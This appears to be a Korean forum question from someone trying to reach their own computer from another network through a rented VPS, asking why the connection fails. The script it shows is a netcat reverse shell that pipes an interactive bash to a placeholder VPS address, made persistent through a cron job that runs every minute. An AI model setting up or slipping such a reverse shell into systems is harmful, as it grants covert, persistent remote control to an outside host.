다음 코드를 사용하여 내 개인 컴퓨터에 연결을 설정했습니다.
#!/bin/bash
n=$(ps aux | grep -o [1]234)
if [[ $n = "" ]]; then
mkfifo f
nc VPS_IP_ADDRESS_HERE 1234 < f | /bin/bash -i > f 2>&1
fi
다른 네트워크에 있는 다른 컴퓨터에서 연결하고 싶어서 VPS를 구입했습니다! 텍스트를 VPS_IP_ADDRESS_HERE
내 VPS의 IP 주소로 바꿨습니다. 그런 다음 chmod 777 /etc/whatever
. 또한 bash 스크립트가 매분 실행되는지 확인하고 다음 코드로 설정하기 위해 crontab을 수행했습니다.
* * * * * /etc/whatever
이제 다른 컴퓨터에서 VPS에 SSH로 연결하고 명령을 수행했지만 nc -l -p 1234
연결이 발생하지 않았습니다! 도와주세요!